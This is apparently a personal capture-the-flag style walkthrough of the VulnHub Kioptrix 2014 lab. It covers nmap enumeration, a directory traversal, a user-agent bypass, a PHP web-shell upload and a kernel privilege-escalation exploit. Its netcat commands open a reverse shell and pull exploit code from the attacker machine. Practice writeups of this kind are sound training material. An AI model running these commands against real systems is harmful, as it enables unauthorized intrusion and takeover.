> For the complete documentation index, see [llms.txt](https://choochisiang.gitbook.io/report/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://choochisiang.gitbook.io/report/vulnhub/kioptrix/level-1.4.md).

# Level 1.4

## Enumeration

### nmap

```
nmap -sC -sV -oA nmap/Level5 192.168.43.212
```

```
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-12 09:06 EDT
Nmap scan report for kioptrix2014 (192.168.43.212)
Host is up (0.00038s latency).
Not shown: 997 filtered ports
PORT     STATE  SERVICE VERSION
22/tcp   closed ssh
80/tcp   open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-server-header: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8
8080/tcp open   http    Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8)
|_http-title: 403 Forbidden
MAC Address: 00:0C:29:D4:CB:84 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.54 seconds
```

Great! 2 open ports only! Lets check the port 80 first.

## Exploit

![](/files/-M7CR7dS5YZig3NeLWUK)

It just shows the word **It works!** So I went to the inspect elements to see whether there is any interesting info.

![](/files/-M7CRXvUChOozKL3jNwZ)

Saw this and at the last there is a URL provided.

![](/files/-M7CS31LK6av3shrJZvE)

After playing around inside here and found nothing interesting. Found something from my friend who called it is a Directory Traversal exploit that available at [exploit-db](https://www.exploit-db.com/exploits/31173) website.

![](/files/-M7CSNDMZQ_KuYuCImco)

Copy the provided query to our URL

![](/files/-M7CSktx50sX9d6Biv6s)

Then, I went to Google search for FreeBSD Apache config file

![](/files/-M7CZ1Gwg_PSwU-sj14M)

By replacing the version of the Apache, we can get the config file.

Then, scroll to the bottom

![](/files/-M7C_-j6EP24hZ3sdsZE)

We can see that it port 8080 actually can let us went through by using Mozilla4.0  user-agent.`Allow from env=Mozilla4_browser` 

Well, there is nothing we can do until here. Let's check for port 8080.

![](/files/-M7C_j5Q8J2uvsKyV4rI)

We can't access it but as we know that if we use user-agent Mozilla4.0 then it should get us through. We can use BurpSuite to help us with this

By intercepting the traffic and we go to the Proxy -> Option panel -> Match and Replace and tick the Mozilla4.0 user-agent.

![](/files/-M7CaQC_fdQ3nBObhuXe)

![](/files/-M7CaVcxs84B8SCUgo8x)

We can access after this.

![](/files/-M7CaeQSJRlr_Q-5Eel5)

This took me a lot of time to figure out how to exploit and get a reverse shell from it.

We can get the exploit from exploit-db.

![](/files/-M7CbAMcBmGV-OTwEvr1)

As we can see from one of the lines of the exploit here, we can see that we can upload php file to the website by replacing the `field` section.

Then, looking at the exploit, we can see this

![](/files/-M7CcGgB-MXReXYKK6Wm)

If exploit works successfully, we can navigate to `/data`

![](/files/-M7Cc71DlETpQFeFCRzx)

I click into one of the shell I've uploaded and type

`?cmd=id` at the back of the URL

![](/files/-M7Ce3HFNEAMie_ufI69)

lets get a reverse shell from it.

Tried using

`nc -nv <IP> <Port>`

`nc -e /bin/bash <IP> <port>`

Both failed.

So, I went to [pentestmonkey](http://pentestmonkey.net/tools/web-shells/php-reverse-shell) and got this php-reverse-shell file.

Then `nano` to the extracted file and change the IP and port

then we can type

`nc -nlvp 4444 < php-reverse-shell.php` at our machine.

At the URL, we can type `nc -nv 192.168.43.182 4444 > php-reverse-shell.php`

Navigate back to the `/data` then we will see one folder is uploaded

![](/files/-M7ChuNMKfmjOM3CYadE)

On our machine, type again `nc -nlvp 4444`

and click on the file we just uploaded, then we will get the shell from it

## Privilege Escalation

type uname -a and we can see what kernal version this machine is using

![](/files/-M7CkaLflbBgRnmy0Ayt)

Then, go to searchsploit and find the exploit.

![](/files/-M7CkkTRivCTUxM8IHbV)

After trying, we know that this machine doesn't have `wget`, we can use `nc` to transfer the file

Navigate to `/tmp`

On our machine, type

`nc -nlvp 4444 < 26368.c`

On victim machine, type

`nc -nv 192.168.43.182 4444 > 26368.c`

Then we can compile the file by typing

`gcc 26368.c -o exploit`

`chmod +x exploit`

run the exploit `./exploit`

Then, type `/bin/csh -i`

You got root !

![](/files/-M7CmM6D_-ETmwea7XyR)

![](/files/-M7CmiWk0hqZB_-lRMIc)

Congratulation !